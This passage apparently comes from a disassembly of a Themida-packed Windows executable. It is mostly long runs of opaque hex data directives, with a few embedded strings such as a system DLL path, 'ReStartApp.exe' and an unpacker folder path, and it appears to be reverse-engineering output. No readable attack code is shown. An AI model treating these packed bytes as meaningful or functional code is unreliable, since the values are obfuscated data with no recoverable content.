0A74903B1h, 1EC3F6C5h, 8A6795D0h dd 0BC587A63h, 9643881Ch, 413D1908h, 0D8AB407Fh, 0A50F1793h dd 60450986h, 3B89EAB4h, 0C9920007h, 55947502h, 1406A6CAh dd 71C43257h, 0E40148D9h, 0E6EB8A80h, 2E00C5BFh, 0A838A962h dd 4E46622h, 0C92D5520h dd 0D6C98E7h, 2FBF4301h, 817FFFBAh, 72C5DEE4h, 1851C0FAh dd 0A22D3F0Ch, 0CAE30A07h, 4D57E4CFh, 80E94680h, 1DA9034Ah dd 0BE3D8C68h, 6DE6C9B0h, 9530DC92h, 1685A166h, 438C00F0h dd 44255614h, 47FD0B0Dh, 9DEE7010h, 6802D895h, 0FDB56B2h dd 0E6040DEh, 3E872E2Dh, 269A04D5h, 1324C3F1h, 444BEFFAh dd 0DC86E9D0h, 0F30DA700h, 107FEDFBh, 0BF910124h, 45EB199h dd 58E6E8ABh, 0E6E9A4A1h, 837480A0h, 0F7066E51h, 3DDA3E4Ch dd 1E5C9070h, 8AC1183Fh, 0BD84C2FAh, 0A78E1580h, 5C63E6F3h dd 4E250E00h, 0F98F4F45h, 329E1D9Ch, 90D1B7E2h, 7F3C92FFh dd 44885418h, 0EA479971h, 3D7D0094h, 0D433A024h, 0B54C3021h dd 0F749DE5Ch, 38A204A6h, 5751BC80h, 45AF24D7h, 0EC390538h dd 9F8C213Eh, 9006349h, 80A69A0Ch, 0E40774F3h, 3B89822h dd 4AF7FF3Ch, 0E048DB53h, 957403DCh, 6ABB4C9h, 0DE919C99h dd 8100492Eh, 0B770D1B0h, 1F3AF8Bh, 4E155ABEh, 0E8DF809Dh dd 8824D458h, 3241741Bh, 0C18660DEh, 19C03E97h, 7340887Bh dd 791F0063h, 0DA49EB81h, 3C1D3DA1h, 0F597361Ch, 296E960Ch dd 9EE60FD8h, 796FAF22h, 0B0F1D600h, 9502331Fh, 0FB78FC10h dd 4C8A2C7h, 0E7F4402Fh, 4EB300B6h, 3F0E936Bh, 0FF049BDFh dd 74E69A99h, 0F259A880h, 27E10308h, 0B3548DEh, 0C1D9FFC8h dd 585A4A03h, 0F3AD5C3Dh, 4FB90031h, 3B67439Dh, 2FEA90C5h dd 1F4E7000h, 0F197C11Ah, 0AFEB0211h, 991372D9h, 50A0F060h dd 38AC5758h, 0C42D09FFh, 0CC1270h, 25A3C258h, 0CE39009Ch dd 0FCA164FBh, 613EEABAh, 0D0A51299h, 45CE741Fh, 0A0A0EF58h dd 0D9B04934h, 0F0D3FCB3h, 294498D5h, 1DB0323Dh, 4C002036h dd 8947FD77h, 0A9283Ch, 0F6B8B7D9h, 880E3222h, 377B44h dd 853D799Ah, 0F414CE95h, 0D739B21Ch, 0C628C187h, 0D4C92253h dd 300C88h, 19F6B992h, 0DDDC73EDh, 0E6C43403h, 7798FCBCh dd 0A6AF04D9h, 800A5F52h, 9A6BE350h, 0C98C0351h, 488BE5B5h dd 93004FF0h, 0A71E3C37h, 97ACCEh, 8FC406Bh, 99B8C4D9h dd 432AC9E2h, 0B704405Dh, 458365D6h, 2ADD7488h, 0F0B0FF60h dd 3EE013B6h, 0C48020FBh, 3D90A4F9h, 0CA569300h, 985CEA89h dd 973B0B61h, 3400AECFh, 27861232h, 6744A0B8h, 69301D1Dh dd 35833B03h, 0F1D5A484h, 32EF3289h, 0B8920054h, 4EC53DFBh dd 0A1F079Fh, 97A5E0D5h, 886C614Bh, 0E68623Ah, 21F491F7h dd 0DFAC8784h, 0D900B022h, 6058F3D7h, 0C001C440h, 233C8221h dd 0B07020A3h, 839630CEh, 2FE87371h, 0ADB05779h, 51060B00h dd 0A33FF149h, 0C64C163Ah, 0C59C4028h, 6386086h, 908E061h dd 0BC507C8Bh, 0E415CBEh, 78451025h, 8F5EEBC3h, 0B420A198h dd 0E8523203h, 0F695E09Dh, 71480379h, 0A0F1DA3Ah, 4059EAC9h dd 0B7E1ADE8h, 14C3DB01h, 0ACAEE6B1h, 325C1880h, 69B4DF95h dd 98AF540Fh, 9788C5E7h, 31EE441h, 0D88A5273h, 26F0B1C9h dd 0A790E010h, 540EB5F4h, 0E0F15103h, 4DF74F3Dh, 6638005Fh dd 0F69E11F5h, 12987E3Fh, 34469982h, 0F4514361h, 0F9D0CA07h dd 0E6AF00D4h, 39196F17h, 9E39D863h, 37C8861Dh, 7B08A285h dd 19E80110h, 7F24F14Bh, 0C02182BCh, 0E083D0A6h, 11A2811h dd 16E9EC0Ah, 30A0B629h, 661EC80Bh, 0C9D83E68h, 0C0B01D48h dd 0CD78DE51h, 35018042h, 6801A5FEh, 2980EA05h, 0CB3D7B8h dd 3AF814DCh, 0B589D567h, 1EA9E1C0h, 0CF49C1B2h, 0F8D2A369h dd 870CFE76h, 316F7F46h, 0B6DB0193h, 44C484A9h, 7A4ED02Bh dd 83D8793Dh, 9C89515Dh, 0BF8045Ch, 40BA7EFDh, 1AA1509h dd 45F2E5h, 0ACC19FE3h, 3B369339h, 9229FE01h, 243C68E9h dd 8A589980h, 0EA74223Eh, 2690171Dh, 8E801918h, 7F33000Fh dd 0E48CA148h, 0B8C04B50h, 0DE5DA2C8h, 802000B9h, 7B0A99ADh dd 401467Ah, 0A87D913Dh, 7FF4F505h, 0C599C7B9h, 1BC090FFh dd 0F1F513C3h, 0EA440B7h, 88A8B61Eh, 5EB867ABh, 0E23CDB7Eh dd 0F8788F31h, 791BECE8h, 554E1D19h, 0F14A02A0h, 30817EDAh dd 0CC30F86Bh, 4DF2EB7Bh, 3CE8E50Ch, 547E394Eh, 0E95AC42h dd 805E7F2Dh, 6878C6C0h, 50038A55h, 4585E3E7h, 2F13D076h dd 88160239h, 0D875D641h, 0B45F8880h, 0B050302Ch, 4E500CE4h dd 0DB00A4F4h, 664A1691h, 3146D021h, 79D1ED1Eh, 60FFF648h dd 1696793h, 0FE33E718h, 3093C928h, 0A1C07FF7h, 2026CC37h dd 0E656EED9h, 1986649Dh, 174088DBh, 6FCB3200h, 0E5CFC7C0h dd 1783840h, 0C630B73Eh, 0EF069450h, 5F8EE80Ah, 0AD001CDEh dd 0D0E559BCh, 27545881h, 0A1FCE600h, 41A83CD9h, 0C7421700h dd 5025799h, 88100330h, 0DB1E52EBh, 6065C900h, 0F083442Fh dd 81B000A0h, 0E32188FBh, 8400D3F7h, 42BC24EEh, 0C028048h dd 877E0E06h, 0D007C6C1h, 81C53590h, 15536390h, 0DB2612A0h dd 3E40411Fh, 0D8915114h, 30050F1Eh, 44ED784Ch, 33C2AC87h dd 0CFE0602Eh, 7B18929Dh, 0C86740B0h, 0FFB5DD00h, 0D1D4CE05h dd 1A5B00A6h, 652183D6h, 7E309277h, 4DA389BEh, 8A14004Eh dd 2A482454h, 1E6E505Ch, 37E5A749h, 5434D5E0h, 7CC14935h dd 2871A500h, 0D04EB9A2h, 0D16F01Fh, 2E8F3200h, 1ABB318h dd 78D94801h, 57B11D0Bh, 7C406F98h, 1CC9904Ah, 0B0C4E400h dd 0AF873B3Dh, 9049835h, 69D3A6B3h, 9727E004h, 0ACDCD1B8h dd 0E25370E6h, 32B91260h, 18768556h, 61D91E25h, 9800231Fh dd 0E441FB38h, 9A517Bh, 6CCE9E5Bh, 29943D1Ah, 980F8500h dd 0F890CFEFh, 0C304847h, 3D831879h, 0B3D649B7h, 1F4A0818h dd 4C02D9D8h, 6C80407Eh, 73B55856h, 0E0AFF500h, 7AFCE89Dh dd 6D8600AEh, 4CD5BE8Ah, 23549268h, 7B5312E4h, 2BAA00FCh dd 3C8F8D35h, 67B015h, 3DABD164h, 0B0C392Eh, 261AEE00h dd 447BD4Bh, 774D790Dh, 0E2CC00B6h, 0EFD9DDBBh, 69378510h dd 0B300B1CFh, 0A4DA1D36h, 76A701B4h, 9DD7C7F7h, 0F9C34017h dd 3505455Dh, 26B166E8h, 11027DC0h, 854C0632h, 0B1210768h dd 0B4A2820Fh, 0B3E3801Ah, 14AD574Bh, 901D23ECh, 48A2A680h dd 33030BA4h, 9A49DF1Fh, 0A8A1FB16h, 0B0A9D45Bh, 0D85A1C2Ch dd 40F49217h, 0F65002B8h, 7F007C88h, 65583089h, 0AAD847h dd 431AB061h, 36969B99h, 0DE832B00h, 1906EFF4h, 0AC320AB6h dd 0F405880h, 7B6F78A1h, 0BC64FEh, 0E0D4A648h, 855CFA13h dd 0ED29605Dh, 484BACF0h, 0FD0428E1h, 800EC1A0h, 119EC460h dd 83BAD815h, 225476CCh, 1C00F080h, 0A279C662h, 28D48B5Fh dd 4C940EDBh, 9CC098E2h, 74CD2DAEh, 65FEC301h, 8D8BB21Bh dd 0B806B540h, 0CB6EE13h, 1960393Ah, 1591680h, 818844BBh dd 2062B203h, 0F39308A3h, 905A88FFh, 3035F215h, 0D8915585h dd 410C0D02h, 880F754Bh, 0C5E40172h, 0CA1A6856h, 0F41821FCh dd 644951B8h, 0F1AC00DCh, 93955C42h, 0C180002h, 17A08159h dd 612E45D3h, 0D8110411h, 39205018h, 7A0033F9h, 0A96594E7h dd 0C68CA49h, 6BE1DE4Eh, 9F2885F9h, 63441CDAh, 1BAA01CAh dd 736A3A19h, 53A6C017h, 9318E800h, 0FE8F831Eh, 9BDE1391h dd 0CBE02380h, 1E13Fh, 691AF3F8h, 2E575FD9h, 47487EF6h dd 0E700B9D6h, 0C1FEE8AEh, 787D6426h, 0A61E101Eh, 0A8E6DBCAh dd 11F79D80h, 0D1623Ch, 2A662314h, 0E8D2CB18h, 0FEB8820Eh dd 38302DA0h, 5B841C6h, 0A40800E7h, 991317B3h, 79CE857Eh dd 0F671A19Ch, 5FE80EA9h dd 9FB0118h, 51B561CBh, 19F9804Ch, 0F2F1BFF3h, 438107D6h dd 0E0911EECh, 95251FB0h, 88403314h, 32A1C7B0h, 0B7DDFB90h dd 0DCEE48BEh, 9B4B12h, 0A246010h, 0A7014DFCh, 0EF273EDBh dd 9181817Fh, 0CC28295Ch, 0ED39E403h, 0BA67C924h, 472BD304h dd 0B48C4C84h, 0D2A5005Ch, 0BBD9CF7Fh, 2926D419h, 6111EC35h dd 0A677E00h, 0C26097EDh, 0EB3F2600h, 699AE202h, 19E902B6h dd 7EB45549h, 0AEE74080h, 0E1EE16B2h, 7D48F4FAh, 0CD22003Eh dd 776A84A8h, 405058B6h, 0EAF85380h, 9500360Eh, 8362DA4Bh dd 0F0247Bh, 0B673B313h, 0DB42DA8h, 9A56D500h, 0B8C019F6h dd 7180E57Eh, 0B3E1469Eh, 0B0F9B21h, 0E19854C4h, 0D85D41E8h dd 81ECE4FEh, 0F9BC5EE8h, 0B4E7EE02h, 54C01276h, 40C7932h dd 216552DBh, 0EFFF00DFh, 367C6CCCh, 5C0014CEh, 8B9BC43Ah dd 79E48C1h, 3D9DD238h, 0F42050BBh, 0D509E535h, 20E7DB53h dd 73168E34h, 681B0078h, 0E8E9E609h, 13295F84h, 3F9D981Fh dd 5C46E080h, 14F0CA4h, 4E6EDB5Bh, 0CD7CD082h, 3E887314h dd 9D4B8041h, 88CA93ECh, 1454076Dh, 50E3388Fh, 1D22FF4Ch dd 2C825813h, 0A6C70C08h, 481560D4h, 25F0825Ah, 398DED00h dd 790DC693h, 17E39B9h, 0F5998431h, 5BFAF4EBh, 793CA00h dd 0C364D6C1h, 8B2701DCh, 53406723h, 0CD598068h, 3617399Eh dd 0D4E406h, 9A6FB4Dh, 0D7DDF12Ah, 0FA82EE17h, 4CAEFC00h dd 4815E4EDh, 9B8E441Eh, 0BE062B00h, 0FC004A2Dh, 1E908313h dd 303DAE05h, 1808A03Ch, 0DB2A4FFFh, 9600B0E5h, 86A8987Bh dd 3C1EB62h, 6E84B9BAh, 0A0B709F6h, 0FE3FD42Dh, 0EE12D671h dd 80838C0h, 6A8584BBh, 16E840C9h, 6052724Fh, 1EC4D162h dd 9F008619h, 6AE84982h, 1DAA32Eh, 70563DCAh, 20B39E57h dd 25003980h, 0A7F08E4Ah, 29333FDFh, 7F01CC4Dh, 0B0FDFFh dd 0 ; --------------------------------------------------------------------------- loc_57DB9C: ; CODE XREF: Themida_:loc_513265j ; DATA XREF: Themida_:loc_513086o jmp loc_581095 ; --------------------------------------------------------------------------- dd offset byte_5DD7AF db 10h, 15h, 0F2h dd 76h, 0 dd 84AD2500h, 540000FBh, 57E80D02h, 29ACA600h, 0FA72B601h dd 1B4h, 8 dup(0) dd 90EE1800h, 7Ch, 57EF3A00h, 0 dd 5BC70B00h, 0C000h, 0 dd 0BB500h, 0 dd 0A8D28700h, 3 dup(0) dd 0B1A8CF00h, 12FF5400h, 23E400h, 0D28700h, 5 dup(0) dd 802CAC00h, 9000007Ch, 0A608147Ch, 67h, 2 dup(0) dd 0F36C5B00h, 4E05FD76h, 0FFh, 5 dup(0) dd 0F802B400h, 0FFh, 5 dup(0) dd 110B5F00h, 4 dup(0) dd 0B1AAA100h, 0Ah dup(0) dd 291800h, 5 dup(0) dd 80ABDE00h, 90EB167Ch, 7Ch, 33333300h, 2 dup(33333333h) dd 33h, 9 dup(0) dd 5B1D6700h, 0Bh dup(0) dd 0FF000h, 2 dup(0) dd 100h, 2 dup(0) dd 0EE704000h, 5, 2 dup(0) dd 5F424700h, 0 dd 0E8BF2700h, 83h, 5 dup(0) dd 0F07600h, 3 dup(0) dd 57E32D00h, 5 dup(0) dd 100h, 3 dup(0) dd 5BB31500h, 3 dup(0) dd 30DF00h, 0 dd 32782C00h, 1Bh, 3 dup(0) dd 54002C00h, 2, 2 dup(0) dd 0DC00h, 2 dup(0) dd 518E3E00h, 4 dup(0) dd 40000000h, 90EB9400h, 7Ch, 16B7600h, 0 dd 0FFFFFC00h, 0FFh, 2 dup(0) dd 8235300h, 19h, 2 dup(0) dd 0B41CF700h, 3 dup(0) dd 0E7E900h, 3 dup(0) dd 29ACA600h, 1, 5B84A500h, 90EB9400h, 7Ch, 9 dup(0) dd 4BD2E00h, 2 dup(0) dd 0B48B3200h, 4 dup(0) dd 5B0F8F00h, 4 dup(0) dd 100h, 5B83A600h, 5EDFE200h, 0B2249300h, 4 dup(0) dd 0A6B39500h, 67h, 200000h, 0 dd 46DA4400h, 0C2h, 10h dup(0) dd 0B10E2400h, 90EB9400h, 7Ch, 3 dup(0) dd 0B1180F00h, 0 dd 5B69E500h, 5B832600h, 4 dup(0) dd 0A8D28700h, 5BA8FD00h, 2 dup(0) dd 0CB8C00h, 0Ah dup(0) dd 0A7000000h, 2 dup(0) dd 90EB9400h, 5BF1B57Ch, 2 dup(0) dd 58002300h, 5F72DC00h, 4 dup(0) dd 85800h, 3 dup(0) dd 0B2F9E400h, 90EE18ECh, 0C87Ch, 0A7E38800h, 4Ah, 3 dup(0) dd 0B800h, 8CEBE400h, 7Ah, 4 dup(0) dd 12FEC800h, 0 dd 6E000000h, 2, 6 dup(0) dd 5F42DF00h, 0Bh dup(0) dd 0B9BD2200h, 31h, 0A8D28700h, 5C3A4300h, 444E4957h, 5C53574Fh dd 74737973h, 32336D65h, 5644415Ch, 33495041h, 6C642E32h dd 6Ch, 3Ah dup(0) dd 5B83A600h, 0 dd 6B4300h, 0B1FA3700h, 5BA66000h, 0Ah, 5 dup(0) dd 29ACA600h, 1, 3 dup(0) dd 24242400h, 24h, 0 dd 23FFB000h, 2, 0 dd 90009400h, 1C07B67Ch, 5816EA09h, 4 dup(0) dd 12FE7C00h, 2 dup(0) dd 0A47CEC00h, 0FFh, 2 dup(0) dd 5B83A600h, 2 dup(0) dd offset dword_600C00 dd 7304BB00h, 0A1h, 91631500h, 7Ch, 6B4300h, 0 dd 90EB9400h, 7Ch, 5 dup(0) dd 0ECE23600h, 9F53D1FFh, 0FFh, 0 dd 0BC51B000h, 0Dh, 5 dup(0) dd 0E900EB00h, 0AAh, 1C68DB00h, 1Fh, 0C000h, 0 dd 0FFD72800h, 0FFh, 2 dup(0) dd 83E29500h, 0FEh, 0 dd 0D2D99A00h, 5Bh, 2 dup(0) dd 12FFE000h, 3 dup(0) dd 7F800h, 12FEEC00h, 2 dup(0) dd 1B302200h, 36h, 0A4146C00h, 0FFh, 7 dup(0) dd 12FF5400h, 4 dup(0) dd 29ACA600h, 1, 5ED49700h, 0 dd 0BA8D8D00h, 34h, 0B565DE00h, 714200B4h, 5B0FA9EDh, 0 dd 5816DA00h, 0A000h, 4CFFBA00h, 0FFh, 0Dh dup(0) dd 0C7D2A200h, 24FE64Eh, 0Dh, 57EE9D00h, 5 dup(0) dd 5EC81100h, 5ED39C00h, 0 dd 0DDEBD500h, 7Ch, 4 dup(0) dd 5B122A00h, 0DBD9CC00h, 90DDF905h, 7Ch, 0 dd 861100h, 26h dup(0) dd 0FF927400h, 0FFh, 0A3EB2600h, 0FFh, 0 dd 0FF340400h, 0FFh, 3 dup(0) dd 100h, 0B3FCAD00h, 0 dd 90EB9400h, 7Ch, 0 dd 90EB9400h, 7Ch, 5801F100h, 2 dup(0) dd 28A69400h, 36h, 2 dup(0) dd 334600h, 4 dup(0) dd 90EB9400h, 7Ch, 5 dup(0) dd 29ACA600h, 5D13D001h, 9 dup(0) dd 90EB9400h, 7Ch, 5 dup(0) dd 0E540C200h, 78h, 0 dd 3D745C00h, 0BDh, 5 dup(0) dd 5BF21300h, 6 dup(0) dd 29AC9700h, 1, 4 dup(0) dd 0B4EE000h, 53h, 0 dd 0C530DF00h, 0A9h, 8 dup(0) dd 5D6AAF00h, 90EB9400h, 7Ch, 5 dup(0) dd 1499E400h, 0 dd 0FF8D8D00h, 0FFh, 5B831400h, 4 dup(0) dd 1DE58600h, 0Eh, 863F5800h, 7Ch, 8 dup(0) dd 33FFB000h, 1, 0 dd 0DDEBE700h, 77h, 2 dup(0) dd 5B6D6E00h, 0 dd 5B831400h, 4 dup(0) dd 22222200h, 22222222h, 22h, 5CF46B00h, 2 dup(0) dd 809B4700h, 7Ch, 5AB3E800h, 5D395E00h, 6 dup(0) dd 0B19D7F00h, 7Ch, 2 dup(0) dd 638D8D00h, 12FE8004h, 0 dd 8C00h, 4 dup(0) dd 80ADA000h, 7Ch, 100h, 0B1941700h, 63AD0000h, 4, 0BAEBEB00h dd 0BDh, 5 dup(0) dd 6D000000h, 2, 6 dup(0) dd 0B18EE400h, 0FFA25400h, 0B364FFh, 80000000h, 7Ch, 0FD3D4400h dd 0FFh, 0CE00h, 4 dup(0) dd 0FFFFFF00h, 12FFC4FFh, 118BD200h, 2B537DEBh, 15h, 3 dup(0) dd 2D8B9F00h, 3Bh, 5 dup(0) dd 5AE5B700h, 6 dup(0) dd 0FF927800h, 0FFh, 0 dd 5BFAB400h, 0 dd 0A1200E00h, 0FFh, 5B002300h, 2 dup(0) dd 5C06B400h, 0 dd 0B11A4400h, 8 dup(0) dd 0FFFFFF00h, 0FFh, 0 dd 0C400h, 0Ch dup(0) dd 57E32D00h, 0A351ED00h, 0FFh, 0A47CEC00h, 0FFh, 0 dd 0A400h, 4 dup(0) dd 90EB9400h, 7Ch, 5 dup(0) dd 8111DA00h, 0E1D6897Ch, 25h, 6 dup(0) dd 0B11A4400h, 5 dup(0) dd 5B815500h, 4 dup(0) dd 5F4F0000h, 57E37900h, 0 dd 0FFDDF700h, 0FFh, 0 dd 0AD0000h, 4 dup(0) dd 75E000h, 2 dup(0) dd 63FFB000h, 1, 0CC00h, 0 dd 0B000h, 2 dup(0) dd 0A0BDB900h, 0FFh, 799900h, 0 dd 10EB00h, 0Ah dup(0) public start start dd 0Bh dup(0) dd 3F971400h, 0FFh, 0Dh dup(0) dd 9000h, 9 dup(0) dd 5ED50C00h, 2 dup(0) dd 9F990B00h, 0E4h, 3 dup(0) dd 4E4AF800h, 0FFh, 12FE8000h, 811D1A00h, 0B0h, 0 dd 0E5F37B00h, 74h, 80180E00h, 7Ch, 0Dh dup(0) dd 90EB9400h, 0B8F5E17Ch, 34h, 0 dd 5816EA00h, 6 dup(0) dd 6C256E00h, 0DBh, 9 dup(0) dd 57EF3900h, 3 dup(0) dd 55597400h, 86h, 5 dup(0) dd 22B09700h, 7Ah, 2 dup(0) dd 3B217300h, 0D1h, 9 dup(0) dd 5D956E00h, 0 dd 0B7021300h, 32782C00h, 0C530DF1Bh, 511000A9h, 0 dd 0F8BF3900h, 18DB9C06h, 6690FAh, 8 dup(0) dd 1556A300h, 0F2h, 0B48B0D00h, 2 dup(0) dd 5EAF1100h, 0 dd 581C3700h, 5 dup(0) dd 5BF1B500h, 0 dd 5ADBA600h, 3 dup(0) dd 2E753500h, 38h, 0 dd 5B831400h, 4 dup(0) dd 78A5DC00h, 68h, 3F6BCA00h, 78h, 3 dup(0) dd 36363600h, 36h, 4 dup(0) dd 12FF5400h, 0 dd 5D6EF000h, 2, 11h dup(0) dd 92A10E00h, 0FCh, 41A8AD00h, 7Eh, 4 dup(0) dd 6E339E00h, 6E000083h, 2, 2 dup(0) dd 0CFDA700h, 38h, 6 dup(0) dd 46DA4400h, 57E32DC2h, 0AC00h, 0 dd 381FD200h, 2Ch, 0C005000h, 0FEh, 5 dup(0) dd 0EDBE4700h, 7Ch, 5 dup(0) dd 0B44E5B00h, 90EB9476h, 7Ch, 0 dd 0FFFFFF00h, 5BF1ADFFh, 100h, 2 dup(0) dd 5B83A600h, 41A8AD00h, 0FFA0887Eh, 0FFh, 2 dup(0) dd 0A3EB2600h, 0FFFF7CFFh, 5D6AE8FFh, 4 dup(0) dd 0F8BF3900h, 6, 5BCF1300h, 93000000h, 2, 0 dd 11111100h, 11h, 5CC37100h, 4AB71400h, 7CA8h, 2 dup(0) dd 9800h, 8C00h, 58D4A00h, 4Bh, 0Fh dup(0) dd 0ED62BD00h, 7Ch, 0D1ADD300h, 23h, 1556A300h, 0F2h, 0 dd 29ACA600h, 0D2D99A01h, 5DDF6B5Bh, 2 dup(0) dd 0A6B39500h, 67h, 57002300h, 2 dup(0) dd 581F2E00h, 6A6000h, 0F6BE4356h, 4Eh, 2 dup(0) dd 8DA09400h, 0FEh, 3 dup(0) dd 0AFDBDF00h, 57h, 2 dup(0) dd 0A6081400h, 28010567h, 1F36940Ah, 54h, 6 dup(0) dd 5B002300h, 90EB9400h, 7Ch, 60h dup(0) dd 83FFB000h, 1, 0Bh dup(0) dd 0A0D10300h, 8 dup(0) dd 5B831400h, 5C34A000h, 0B137EC00h, 90EB9400h, 7Ch, 0Ah dup(0) dd 5C79CD00h, 5 dup(0) dd 40100000h, 0FFFF1800h, 5D3985FFh, 3 dup(0) dd 1E4F4D00h, 5Fh, 4 dup(0) dd 5EAFFA00h, 2 dup(0) dd 2000h, 0 dd 0CFDA700h, 38h, 9 dup(0) dd 0FF83A600h, 0FFh, 0 dd 814AF200h, 7Ch, 2 dup(0) dd 57E32D00h, 4 dup(0) dd 0B1FA0300h, 2 dup(0) dd 5BB31500h, 0 dd 12FEF000h, 6 dup(0) dd 83C00h, 0FF4C6300h, 12FFA4FFh, 2 dup(0) dd offset dword_564190+170h dd 2 dup(0) dd 29ACA600h, 1, 0 dd 0A9E50000h, 0DD7883E6h, 60EB77h, 2 dup(0) dd 90EB9400h, 7Ch, 3 dup(0) dd 90EB9400h, 7Ch, 0 dd 57E32D00h, 2 dup(0) dd 0DBFFFF00h, 7Ch, 29h dup(0) dd 0A680A300h, 0CDh, 4 dup(0) dd 0A71E8F00h, 0C5C87EFh, 38h, 9FFB1000h, 912DBD61h, 5EFC3D7Ch dd 0 dd 53FFB000h, 2, 4 dup(0) dd 90EB9400h, 7Ch, 4AFBFE00h, 0CDh, 17h dup(0) dd 81CDDA00h, 7Ch, 10h dup(0) dd 90EB9400h, 7Ch, 9 dup(0) dd 103700h, 0B100E800h, 0FC24FA00h, 75h, 0Ah dup(0) dd 48592400h, 0FFFFFF80h, 0FFh, 90EB9400h, 7Ch, 15h dup(0) dd 0CFDA700h, 38h, 5EA800h, 3 dup(0) dd 70000000h, 0D097502h, 0D5h, 0FA72B600h, 0B4h, 0FA72B600h dd 0FFFFFFB4h, 0FDh, 0B73F6400h, 0 dd 0B4287800h, 4 dup(0) dd 1DE58600h, 0Eh, 5 dup(0) dd offset dword_564190+170h dd 0 dd 58D4A00h, 4Bh, 0 dd 28000h, 8 dup(0) dd 5BC70B00h, 11h dup(0) dd 962E8C00h, 6Bh, 0 dd 5BCF1300h, 3 dup(0) dd 90EB9400h, 7Ch, 60302400h, 4 dup(0) dd 5D772D00h, 58002300h, 2 dup(0) dd 631500h, 12h dup(0) dd 0A1568800h, 53h, 4 dup(0) dd 58052500h, 5B92B000h, 3 dup(0) dd 5D38BF00h, 6 dup(0) dd 0D6CD7F00h, 7Ah, 2 dup(0) dd 0B6917800h, 5BBD1900h, 7F455F00h, 83h, 63FFB000h, 1 dd 5ED8A700h, 0 dd 0B9ADAF00h, 1Bh, 2 dup(0) dd 81CDDA00h, 7Ch, 2 dup(0) dd 0DFC41B00h, 77h, 90EB9400h, 60391D7Ch, 0Bh dup(0) dd 10800h, 0 dd 0A47CDA00h, 0FF9274FFh, 0FFh, 0 dd 0A57BA300h, 0FFh, 12h dup(0) dd 0A800h, 70367F00h, 0D5h, 0 dd 83000000h, 0A2FDF3DEh, 5DDC05FFh, 4 dup(0) dd 0B457DB00h, 13h, 13h dup(0) dd 0B18B2800h, 3 dup(0) dd 0A81CD300h, 0FFh, 4 dup(0) dd 0EB74F400h, 12FEF03Ah, 0 dd 5D6EF000h, 2, 6 dup(0) dd 9C00h, 3 dup(0) dd 11301400h, 2Ch dup(0) dd 0A6B39500h, 67h, 3B4BB00h, 45h, 5 dup(0) dd 0A51F0200h, 76FD9CFFh, 70h, 0 dd 0B18E5100h, 0Ch dup(0) dd 89407900h, 26F45DFFh, 3D948Dh, 4 dup(0) dd 90EB9400h, 7Ch, 5B000000h, 4 dup(0) dd 45C73700h, 0CCh, 0B73F0F00h, 0 dd 5D970400h, 5B002300h, 4 dup(0) dd 0FFFFFF00h, 0FFh, 7ED52200h, 0F2179083h, 76h, 0 dd 6B68CA00h, 7F5422B8h, 83h, 0Bh dup(0) dd 66970000h, 0A5h, 812A0900h, 7Ch, 3 dup(0) dd 0B48B3200h, 7 dup(0) dd 100h, 5BCF1300h, 0 dd 1D3BF700h, 68h, 0FF93A800h, 0FFh, 0Dh dup(0) dd 5B002300h, 5F50AD00h, 4 dup(0) dd 5BC70B00h, 6 dup(0) dd 0D353C500h, 86h, 3 dup(0) dd 0B100E800h, 20EE900h, 0 dd 90EE1800h, 7Ch, 5 dup(0) dd 5B673B00h, 0 dd 100h, 0FFFFFF00h, 7Fh, 5 dup(0) dd 90EB9400h, 7Ch, 0FFD79700h, 0FFh, 0 dd 0AAE900h, 5C93CB00h, 6 dup(0) dd 90EB9400h, 7Ch, 6 dup(0) dd 0A000h, 3 dup(0) dd 73655200h, 74726174h, 2E707041h, 657865h, 5 dup(0) dd 80263C00h, 6016A17Ch, 3 dup(0) dd 1E941300h, 5Eh, 3 dup(0) dd 8800h, 90EB9400h, 7Ch, 0 dd 90EE1800h, 0F08B8D7Ch, 77h, 5C3A4300h, 6E755F6Dh, 6B636170h dd 7265h, 7Eh dup(0) dd 0BDFC5D00h, 82h, 0 dd 5B811F00h, 0 dd 90EE1800h, 7Ch, 8C8C00h, 0 dd 0B71E6900h, 0FA72B600h, 0A0B2C9B4h, 1Dh, 3 dup(0) dd 0DBE700h, 5 dup(0) dd 0B731E500h, 2 dup(0) dd 7A000h, 0 dd 6F000000h, 90EB9402h, 7Ch, 0 dd 80264000h, 7Ch, 6 dup(0) dd 5D395E00h, 4EE7F100h, 0B4FFh, 0 dd 87CF1000h, 50h, 6 dup(0) dd 5AE0FE00h, 40000000h, 4 dup(0) dd 0A6B39500h, 67h, 80B4CF00h, 90EB947Ch, 7Ch, 5 dup(0) dd 0C1000000h, 2 dup(0) dd 7D900h, 100h, 2 dup(0) dd 57ADA000h, 0 dd 65685400h, 6164696Dh, 1Eh dup(0) dd 830B2E00h, 90h, 0 dd 0A80DAF00h, 0FFh, 3 dup(0) dd 5EF8EA00h, 8 dup(0) dd 90EB9400h, 0AAF9FC7Ch, 2 dup(0) dd 90EB9400h, 7Ch, 4 dup(0) dd 0BC00h, 3 dup(0) dd 3D7F800h, 80180E00h, 7Ch, 3 dup(0) dd 400h, 11EE4000h, 3Bh, 0 dd 5AB3E800h, 0C000h, 4 dup(0) dd 12FFA400h, 0 dd 5D6EF000h, 2, 2 dup(0) dd 0DDEE5A00h, 77h, 0 dd 575E5000h, 7FFFFF14h, 31h, 5 dup(0) dd 5C245800h, 3 dup(0) dd 12FF5400h, 4 dup(0) dd 29ACA600h, 101h, 2 dup(0) dd 962E8C00h, 6Bh, 0B18D2000h, 0DED1700h, 1100003Ch, 0CFDA700h dd 38h, 7 dup(0) dd 400E900h, 6 dup(0) dd 5B831400h, 3 dup(0) dd 33FFB000h, 1, 2 dup(0) dd 5D812500h, 200h, 0 dd 0D3FFB000h, 1, 0 dd 0B1291800h, 3 dup(0) dd 9400h, 2 dup(0) dd 400h, 5FB0A600h, 810A7700h, 82727Ch, 8F6EAF00h, 8, 0 dd 12FFF000h, 0 dd 5B83A600h, 0B0h dup(0) dd 5BB31500h, 2 dup(0) dd 41000000h, 0FFA5B47Eh, 90EB94FFh, 0B118427Ch, 1DE58600h dd 0Eh, 3 dup(0) dd 0B800h, 0C00B0000h, 18C20374h, 24448B00h, 0E8530Ch dd 5B000000h, 17C381h, 5C890000h, 44891024h, 0B85B1424h dd 0B1FA37h, 448BE0FFh, 0E0FF0424h, 13h dup(0) dd 5AB3E800h, 4 dup(0) dd 0ED018000h, 0FFh, 3 dup(0) dd 0FF4CA700h, 0FFh, 2 dup(0) dd 2900000h, 7 dup(0) dd offset dword_43EC00 dd 0DDEE3700h, 90EB9477h, 71DDB57Ch, 80003E14h, 7Ch, 3 dup(0) dd 0FFFFFF00h, 0B11920FFh, 10EB00h, 0 dd 100h, 3 dup(0) dd 